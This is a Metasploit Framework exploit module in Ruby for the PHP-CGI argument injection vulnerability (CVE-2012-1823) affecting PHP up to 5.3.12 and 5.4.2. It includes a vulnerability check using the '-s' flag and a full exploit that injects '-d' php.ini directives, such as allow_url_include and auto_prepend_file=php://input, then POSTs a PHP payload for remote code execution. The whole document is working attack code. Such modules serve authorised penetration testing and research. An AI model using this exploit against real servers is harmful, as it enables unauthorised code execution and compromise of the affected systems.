PHP 5.3.12/5.4.2 – CGI Argument Injection (Metasploit)
## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHP CGI Argument Injection', 'Description' => %q{ When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." }, 'Author' => [ 'egypt', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ "CVE" , "2012-1823" ], [ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144, # 256k }, 'DisclosureDate' => 'May 03 2012', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]), ], self.class) end # php-cgi -h # ... # -s Display colour syntax highlighted source. def check uri = target_uri.path uri.gsub!(/\?.*/, "") print_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri }) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable") return Exploit::CheckCode::Unknown end response = send_request_raw({ 'uri' => uri + '?-s'}) if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi return Exploit::CheckCode::Vulnerable end print_error("Server responded indicating it was not vulnerable") return Exploit::CheckCode::Safe end def exploit begin args = [ "-d+allow_url_include%3d#{rand_php_ini_true}", "-d+safe_mode%3d#{rand_php_ini_false}", "-d+suhosin.simulation%3d#{rand_php_ini_true}", "-d+disable_functions%3d%22%22", "-d+open_basedir%3dnone", "-d+auto_prepend_file%3dphp://input", "-n" ] qs = args.join("+") uri = "#{target_uri}?#{qs}" # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "") response = send_request_cgi( { 'method' => "POST", 'global' => true, 'uri' => uri, 'data' => payload_oneline, }, 0.5) handler rescue ::Interrupt raise $! rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused print_error("The target service unreachable") rescue ::OpenSSL::SSL::SSLError print_error("The target failed to negotiate SSL, is this really an SSL service?") end end def rand_php_ini_false Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)]) end def rand_php_ini_true Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)]) end end |